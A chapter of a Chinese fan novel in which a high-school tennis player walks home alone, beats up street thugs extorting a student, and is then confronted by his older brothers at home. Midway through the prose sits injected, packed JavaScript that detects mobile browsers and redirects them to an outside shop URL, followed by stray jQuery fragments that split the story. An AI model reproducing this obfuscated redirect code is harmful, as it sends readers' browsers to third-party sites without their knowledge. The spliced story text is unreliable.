7. Chapter 7 智障导航

作品:《立海恶犬

    烤肉店门口,流司排在最后一个走出店门,扑面而来的一阵晚风,让流司的头发在脸上胡乱拍打,他抬手简单整理了一下,将碎发从嘴边移开。


    只是流司环顾了一圈,似乎只有他一个人的发型遭受了如此重创,除开光头造型的桑原,其他人的发型看起来丝毫不为所动。


    仿佛这阵风只吹过他一个人的头顶似的。


    “我早就想问了,大家是都有固定的造型师吗?”


    流司说话间手指顺势摸上了切原的黑发,在确认并没有什么发蜡固定之后,他感觉十分的荒谬。


    “柳前辈也就算了,切原的卷发和仁王前辈的头发,到底是怎么做到每天翘起的弧度、发束的数量都一模一样的?”


    流司的眼神在这几人的头顶来回逡巡,眼里写满了疑惑,满头被风吹得凌乱的金发,在他无意识的抓挠下,和鸟窝又接近了几分。


    不光是切原和仁王,真田每次摘掉帽子,不仅头顶不会塌,额前的碎发每次还总是分成了固定的几缕。幸村和丸井的卷发更是神奇,层次走向和轮廓弧度几乎能做到每天复制粘贴。


    这次更是过分,一阵风吹来,他们的头发就像是雕塑一般稳定,只是轻微地随风摇曳了几下,发丝纹丝不乱。


    这让流司有些怀疑,到底是谁的脑袋出了问题。


    “噗哩,入江你每天都在想什么奇怪的问题?”仁王用手将头发压扁梳道脑后,一个有些蓬松的大背头短暂地出现在他的头顶,随着他松开手,头发又很快恢复了原样。


    切原闪身躲开了流司在他头顶作乱的手,“那肯定是你的发质太差了,我每天睡起来都是这个头发。”


    “这才是最奇怪的好吗!谁的头发睡一觉起来不变形的。”


    “那是你的头发太松懈了,你对发型的信念不够坚定,入江。”真田一本正经地盖棺定论。


    ……


    热闹过后的冷清似乎格外难熬。


    虽然天色还不算太黑,但街灯已经散发出昏黄的光亮。


    流司一个人跟着导航慢悠悠的散步回家,脚步拖得很长。


    他本来以为这次聚餐能冲淡所有不快,但现在发现那只能带给他片刻的轻松。


    踢开脚边的小石子,流司有一次打开了和母亲的对话框,两人的对话还停留在几天前,母亲发来的最后一条消息。


    光标闪烁着忽左忽右,消息输入框里的文字在他指尖的敲击下变长又变短,反复几次之后,最终随着熄灭的屏幕彻底黯淡下来。


    流司把手机塞回了口袋。


    “喂,你打发乞丐呢,同学?”


    “就这么想吃点苦头啊?”


    “我不是,我只有这些……”


    小巷深处飘来几句隐约的对话。刚经历了灭五感不久的流司听觉格外敏锐,他甚至能听到拳头落在肉上的闷响,以及被打的人那压抑不住的闷哼。


    他的脚步停顿了一下,想要忽略他们绕路离开,兜里的导航却在这时候开始大声播报。


    “滴——已重新为您规划路线,左转……”


    "谁?"


    一声警惕的怒喝从小巷深处传来,流司环顾了一下这条偏僻而安静的海边小道,皱着眉将手机音量调到最低,站在原地开始活动手腕和脚踝。


    伴随着关节活动时发出的细微响动,流司唇边扬起一个细微的弧度,目光却冷静而专注地锁定在巷口。


    他就站在原地,没有丝毫躲避的打算。


    真是瞌睡来了就有人给送枕头,他正瞅没地方发泄,转头就有好心沙包送货上门。


    那走出深巷查看的不良刚刚露头,流司便三步并作两步,重重的拳头猛地挥在那人的侧脸,让他的嘴角在瞬间绽出血色。


    “啐。”那不良被突如其来的一记重拳打得头偏向一侧,他扭头啐出一口混着血丝的唾液,踉跄着退后一步,眼神凶狠地瞪向流司。


    “找死呢你——”话音未落,拳风以至。


    流司侧身避开他的拳头,借势抓住他的小臂拉近两人距离,膝盖重重顶向他的腹部。


    那不良闷哼一声,捂着肚子直不起腰来,摇摇晃晃的倒向墙面。


    流司却丝毫没有停手的打算,他没有给那个不良缓冲的时间,便一把揪起他的领口,强迫他靠着墙站直身体。


    握紧的拳头一下又一下的砸向那张满是惊惧的脸。


    “混账——”


    灰发的不良面目狰狞的冲了过来,眼见同伴被打的满脸血色,他大吼一声,抬脚就朝流司的后腰踹去。


    听到动静的流司脚尖一转,将被他按在墙上的不良猛地拖到身前。


    砰——


    “啊——”


    被流司扣住肩膀的不良惨叫一声,整个身子都软了下来,弓着腰倒在地上打滚。


    流司索性不再管他,转而一脚踢向了迎上来的灰发不良的胸口。


    在灰发不良侧身躲开并向前挥拳的瞬间,流司以手扶墙,借力地踢向他毫无遮挡的下颌。


    那灰发不良被这一脚踢得身形不稳,他脚步踉跄了一下,还没站稳,就被流司一把按倒在地上。


    流司的呼吸随着一次又一次挥拳变得粗重而紊乱,染上血色的指节渐渐变得麻木,他的眼里只剩下纯粹的疯狂和兴奋。


    “小心——”


    一声惊呼从流司身前传来,没等他反应过来,下一秒,他的脖子上就被一双环上来的手臂狠狠勒住。


    空气被一点一点地挤出身体,流司的大脑渐渐陷入一片空白。在令人绝望的窒息感中,流司顾不上其他,只能一手扣住死死勒住脖子的手臂,一边用手肘向后击打。


    一下、两下,三下……


    正中肋骨的一记终于让身后的不良闷哼一声,松懈了手臂的力道。


    流司抓住这个机会挣脱开来,反身一拳砸在那人的额角,趁着那人眼神恍惚的瞬间,他抓住他的头发狠狠砸向墙面。


    咚——鲜血沿着闷响滑落。


    “快停下——”


    流司充耳不闻,拳头接连不断地落在那不良的脸上、身上,直到一双手颤颤巍巍地抓住了他挥起的小臂。


    “够、够了。”


    流司这才停下了手上的动作,将几近晕死的不良扔在了地上。


    染血的右手在身侧控制不住地轻微抖动,流司俯身翻动那两个不良的口袋,将被抢的现金递到他手上。


    “还不快滚?”


    先前被勒索的那个学生张了张嘴,看着流司头也不抬的靠在墙上,他犹豫了一下,头也不回地离开了这个是非之地。


    那灰发不良见流司的眼神又一次看向他,他下意识以手肘撑地,瑟缩着朝巷子深处后退。


    “钱都还给他了,你还想干什么。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467923|201324||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    流司抬脚踩在了他的胸口上,低垂的目光里满是虚假的笑意:“十分感谢。”


    “呃……你这个疯子在说什么呢。”灰发不良表情扭曲,他将双手握上流司的脚踝,试图用最后的力气将他的脚挪开。


    流司的鞋尖在他胸口碾了碾,“不要践踏别人的真心啊,我不是在说谢谢吗。”


    在那灰发不良满嘴脏话往外冒的时候,流司扶着踩住灰发不良的右腿膝盖俯下身来,直直看向他的眼睛。


    “如果以后在这里找不到你们,我会很难过的。”流司的语气愈发温和。


    说完他便不再理会灰发不良的污言秽语,抽身离开了这个是非之地。


    快到家门口的时候,流司鬼鬼祟祟的在小巷入口探出头,确认自己家只有二楼开着灯后,他才长舒了一口气,直起身子往家里走。


    他可不想满手鲜血被奏多抓到现行,尤其是在他脑袋还需要静养的此时此刻。


    只是怕什么来什么,流司一只脚刚踏进玄关,就和手里拿着一瓶汽水,正准备上楼的入江奏多撞了个正着。


    “好巧啊,多酱。”流司飞速将双手藏到背后,脚跟贴上了还未合拢的大门,试图直接从家里逃跑。


    然后被眼镜扫过一道寒光的入江奏多一把捏住了命运的脖颈。


    被押着洗干净手的流司,此时老老实实的坐在沙发的最中间,双手局促的扣来扣去。


    靠近门口的单人沙发上,入江奏多摘下眼镜,捏在手中一点点的擦拭。


    而坐在沙发最左侧的直树双腿搭在茶几上,整个人仰躺在沙发靠背上,看着天花板一言不发。


    熟悉的沉默又一次在室内蔓延开来,只是这一次的三个演员恰巧都姓入江。


    片刻过后,入江奏多将擦到反光的眼镜架回鼻梁,轻声问道:“你这次又是因为什么而心情不好?只是输掉比赛不会让你这么难过吧。”


    流司后背一僵,颓然地靠向沙发。


    “今年生日他俩又不回来了。”


    “唉。”入江奏多叹了口气,“你太天真了,小司。所以才会一直对他们两个有期待。”


    一旁的直树坐起身来,视线扫过流司低垂的眼睫和红肿的手指关节。


    “你还有我们呢,这么多年,有哪一次生日派对让你失望过?”


    “我只是……”


    “你只是太在乎不在乎你的人了,”入江奏多站起身靠近流司,摸了摸他的头顶,“不是所有的父母都会无条件的把孩子放到第一位,他们也有自己的人生。”


    “如果之后你顺利打进职业赛,需要满世界飞来飞去打球,那你们一年里能见到的日子只会更少。早点习惯也没什么不好的。”


    “你对我还真有信心。”


    “虽然你现在脑子撞过了,也不代表你可以蠢到怀疑我的判断。”


    “好好好,你说的都对,大天才。”


    “你和大哥说话礼貌一点。”入江奏多推了推流司的肩膀,“别以为插科打诨两句,事情就算过去了。”


    “从明天起,放学的时候我去立海大接你。”


    流司蹭的一下站了起来,“不是吧,哥,我保证我再也不跟着导航走到奇怪的小巷重拳出击了,我这就把这智障导航卸载了。”


    直树在一旁嗤笑一声,淡淡补刀:“你不会以为智障的真是导航吧。”